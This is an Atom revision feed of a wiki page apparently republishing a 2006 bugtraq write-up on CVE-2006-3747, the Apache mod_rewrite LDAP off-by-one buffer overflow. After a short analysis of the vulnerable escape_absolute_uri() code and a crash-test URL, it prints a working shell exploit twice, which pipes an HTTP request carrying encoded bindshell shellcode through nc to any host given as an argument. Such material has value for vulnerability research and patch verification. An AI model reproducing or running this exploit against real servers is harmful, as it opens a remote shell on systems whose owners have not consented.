<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2006-3747_Apache_1.3%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2006-3747 Apache 1.3拒絕服務漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2006-3747_Apache_1.3%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2006-3747_Apache_1.3%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T03:48:54Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2006-3747_Apache_1.3%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=832&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==Screenshot==  500px  ==INFO== &lt;pre&gt; Files about my bugtraq publication and first working exploit for CVE-2006-3747 (Apache mod_rewrite LDAP off-by-one...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2006-3747_Apache_1.3%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=832&amp;oldid=prev"/>
		<updated>2021-04-01T02:50:38Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==Screenshot== &lt;a href=&quot;/index.php?title=File:Listado7.png&quot; title=&quot;File:Listado7.png&quot;&gt; 500px&lt;/a&gt;  ==INFO== &amp;lt;pre&amp;gt; Files about my bugtraq publication and first working exploit for CVE-2006-3747 (Apache mod_rewrite LDAP off-by-one...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==Screenshot==&lt;br /&gt;
[[File:Listado7.png | 500px]]&lt;br /&gt;
&lt;br /&gt;
==INFO==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Files about my bugtraq publication and first working exploit for CVE-2006-3747 (Apache mod_rewrite LDAP off-by-one buffer overflow).&lt;br /&gt;
&lt;br /&gt;
(http://www.securityfocus.com/archive/1/443870)&lt;br /&gt;
&lt;br /&gt;
- Public release date of POC/Exploit: 2006-08-20&lt;br /&gt;
- Author: Jacobo Avariento Gimeno&lt;br /&gt;
- CVE id: CVE-2006-3747&lt;br /&gt;
- Bugtraq id: 19204&lt;br /&gt;
- CERT advisory: VU#395412&lt;br /&gt;
- Severity: high&lt;br /&gt;
- CVSS v2 Base Score: 7.6 HIGH (AV:N/AC:H/Au:N/C:C/I:C/A:C)&lt;br /&gt;
&lt;br /&gt;
## Introduction&lt;br /&gt;
&lt;br /&gt;
On July 28 2006 Mark Dowd (McAfee Avert Labs) reported a vulnerability&lt;br /&gt;
found in mod_rewrite apache module to the bugtraq mailing list.&lt;br /&gt;
The vulnerable function is escape_absolute_uri() and the problem only&lt;br /&gt;
could be arised when mod_rewrite is dealing with an LDAP URL, a&lt;br /&gt;
malformed LDAP URL could trigger an off-by-one overflow in certain&lt;br /&gt;
(special) situations and a possible attacker could cause a&lt;br /&gt;
denial-of-service or execute arbitrary code with the privileges of&lt;br /&gt;
the apache user.&lt;br /&gt;
To exploit this vulnerability isn't necessary an LDAP-specific rule,&lt;br /&gt;
but must have a rule which the user can control the inital part of the&lt;br /&gt;
remapped URL, i.e.:&lt;br /&gt;
&lt;br /&gt;
```&lt;br /&gt;
RewriteRule foo/(.*) $1&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
Any version of the Apache HTTP server:&lt;br /&gt;
* 1.3 branch: &amp;gt;1.3.28 and &amp;lt;1.3.37&lt;br /&gt;
* 2.0 branch: &amp;gt;2.0.46 and &amp;lt;2.0.59&lt;br /&gt;
* 2.2 branch: &amp;gt;2.2.0 and &amp;lt;2.2.3&lt;br /&gt;
is vulnerable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
## Analysis of the vulnerable code&lt;br /&gt;
&lt;br /&gt;
```&lt;br /&gt;
2696 /* escape absolute uri, which may or may not be path oriented.&lt;br /&gt;
2697 * So let's handle them differently.&lt;br /&gt;
2698 */&lt;br /&gt;
2699 static char *escape_absolute_uri(ap_pool *p, char *uri,&lt;br /&gt;
unsigned scheme)&lt;br /&gt;
2700 {&lt;br /&gt;
2701 char *cp;&lt;br /&gt;
2702 ...&lt;br /&gt;
...&lt;br /&gt;
2727 /* special thing for ldap.&lt;br /&gt;
2728 * The parts are separated by question marks. From RFC 2255:&lt;br /&gt;
2729 * ldapurl = scheme &amp;quot;://&amp;quot; [hostport] [&amp;quot;/&amp;quot;&lt;br /&gt;
2730 * [dn [&amp;quot;?&amp;quot; [attributes] [&amp;quot;?&amp;quot; [scope]&lt;br /&gt;
2731 * [&amp;quot;?&amp;quot; [filter] [&amp;quot;?&amp;quot; extensions]]]]]]&lt;br /&gt;
2732 */&lt;br /&gt;
2733 if (!strncasecmp(uri, &amp;quot;ldap&amp;quot;, 4)) {&lt;br /&gt;
2734 char *token[5];&lt;br /&gt;
2735 int c = 0;&lt;br /&gt;
2736&lt;br /&gt;
2737 token[0] = cp = ap_pstrdup(p, cp);&lt;br /&gt;
2738 while (*cp &amp;amp;&amp;amp; c &amp;lt; 5) {&lt;br /&gt;
2739 if (*cp == '?') {&lt;br /&gt;
2740 token[++c] = cp + 1;&lt;br /&gt;
2741 *cp = '\0';&lt;br /&gt;
2742 }&lt;br /&gt;
2743 ++cp;&lt;br /&gt;
2744 }&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
In the case that an LDAP URI contains a fifth '?' the line 2740 causes&lt;br /&gt;
an off-by-one overflow, it's writing in token[5].&lt;br /&gt;
To exploit this problem is necessary a vulnerable apache version and a&lt;br /&gt;
specific stack frame layout.&lt;br /&gt;
&lt;br /&gt;
## Proof of concept&lt;br /&gt;
&lt;br /&gt;
To know if your apache vulnerable version could be successful&lt;br /&gt;
exploited, write this rule in your httpd.conf or .htaccess file:&lt;br /&gt;
&lt;br /&gt;
```&lt;br /&gt;
RewriteRule kung/(.*) $1&lt;br /&gt;
&lt;br /&gt;
And try to access to the following URL:&lt;br /&gt;
/kung/ldap://localhost/AAAAAAAAAAAAAAAAAAAAA%3FAAAAAAAAAAAAA%&lt;br /&gt;
3FAAAAAAAAAAAAAAA%3FAAAAAAAAAA%3FAAAAAAAAAA%3FBBBBBBBBBBBBBB&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
If your web server doesn't reply you with a '302 Found' page or a&lt;br /&gt;
Segmentation Fault appears in your error_log, an apache child has&lt;br /&gt;
crashed and your web server is vulnerable and exploitable.&lt;br /&gt;
&lt;br /&gt;
## Exploit&lt;br /&gt;
&lt;br /&gt;
This exploit was successful executed on Apache 1.3.34, debian&lt;br /&gt;
sarge package:&lt;br /&gt;
&lt;br /&gt;
```&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
# Exploit for Apache mod_rewrite off-by-one.&lt;br /&gt;
# Vulnerability discovered by Mark Dowd.&lt;br /&gt;
# CVE-2006-3747&lt;br /&gt;
#&lt;br /&gt;
# by jack &amp;lt;jack\x40gulcas\x2Eorg&amp;gt;&lt;br /&gt;
# 2006-08-20&lt;br /&gt;
#&lt;br /&gt;
# Thx to xuso for help me with the shellcode.&lt;br /&gt;
#&lt;br /&gt;
# I suppose that you've the &amp;quot;RewriteRule kung/(.*) $1&amp;quot; rule if not&lt;br /&gt;
# you must recalculate adressess.&lt;br /&gt;
#&lt;br /&gt;
# Shellcode is based on Taeho Oh bindshell on port 30464 and modified&lt;br /&gt;
# for avoiding apache url-escape.. Take a look is quite nice ;)&lt;br /&gt;
#&lt;br /&gt;
# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at&lt;br /&gt;
# 0x0834ae77 for any other version/system find it.&lt;br /&gt;
#&lt;br /&gt;
# Gulcas rulez :P&lt;br /&gt;
&lt;br /&gt;
echo -e &amp;quot;mod_rewrite apache off-by-one overflow\nby jack &amp;lt;jack\x40gulcas&lt;br /&gt;
\x2eorg&amp;gt;\n\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if [ $# -ne 1 ] ; then&lt;br /&gt;
echo &amp;quot;Usage: $0 webserver&amp;quot;&lt;br /&gt;
exit&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
host=$1&lt;br /&gt;
&lt;br /&gt;
echo -ne &amp;quot;GET /kung/ldap://localhost/`perl -e 'print &amp;quot;%90&amp;quot;x128'`%89%e6%&lt;br /&gt;
31%c0%31 %db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3%&lt;br /&gt;
01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04%&lt;br /&gt;
31%c0%89%46%10%b0%10%89%46%08% b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66%&lt;br /&gt;
b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31%&lt;br /&gt;
c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8%&lt;br /&gt;
23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76%&lt;br /&gt;
08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db%&lt;br /&gt;
&lt;br /&gt;
cd %80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%&lt;br /&gt;
77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\nHost:&lt;br /&gt;
$host\r\n\r\n&amp;quot; | nc $host 80&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
~~ Jacobo Avariento Gimeno&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==exploit.sh==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
# Exploit for Apache mod_rewrite off-by-one.&lt;br /&gt;
# Vulnerability discovered by Mark Dowd.&lt;br /&gt;
# CVE-2006-3747&lt;br /&gt;
# &lt;br /&gt;
# by jack &amp;lt;jack\x40gulcas\x2Eorg&amp;gt;&lt;br /&gt;
# 2006-08-20&lt;br /&gt;
#&lt;br /&gt;
# Thx to xuso for help me with the shellcode.&lt;br /&gt;
#&lt;br /&gt;
# I suppose that you've the &amp;quot;RewriteRule kung/(.*) $1&amp;quot; rule if not&lt;br /&gt;
# you must recalculate adressess.&lt;br /&gt;
#&lt;br /&gt;
# Shellcode is based on Taeho Oh bindshell on port 30464 and modified&lt;br /&gt;
# for avoiding apache url-escape.. Take a look is quite nice ;)&lt;br /&gt;
#&lt;br /&gt;
# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at&lt;br /&gt;
# 0x0834ae77 for any other version/system find it.&lt;br /&gt;
#&lt;br /&gt;
# Gulcas rulez :P&lt;br /&gt;
&lt;br /&gt;
echo -e &amp;quot;mod_rewrite apache off-by-one overflow&amp;quot;&lt;br /&gt;
echo -e &amp;quot;by jack &amp;lt;jack\x40gulcas\x2eorg&amp;gt;\n\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if [ $# -ne 1 ] ; then&lt;br /&gt;
  echo &amp;quot;Usage: $0 webserver&amp;quot;&lt;br /&gt;
  exit&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
host=$1&lt;br /&gt;
&lt;br /&gt;
echo -ne &amp;quot;GET /kung/ldap://localhost/`perl -e 'print &amp;quot;%90&amp;quot;x128'`%89%e6\&lt;br /&gt;
%31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3\&lt;br /&gt;
%01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04\&lt;br /&gt;
%31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66\&lt;br /&gt;
%b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31\&lt;br /&gt;
%c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8\&lt;br /&gt;
%23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76\&lt;br /&gt;
%08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db\&lt;br /&gt;
%cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\&lt;br /&gt;
%77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\n\&lt;br /&gt;
Host: $host\r\n\r\n&amp;quot; | nc $host 80&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>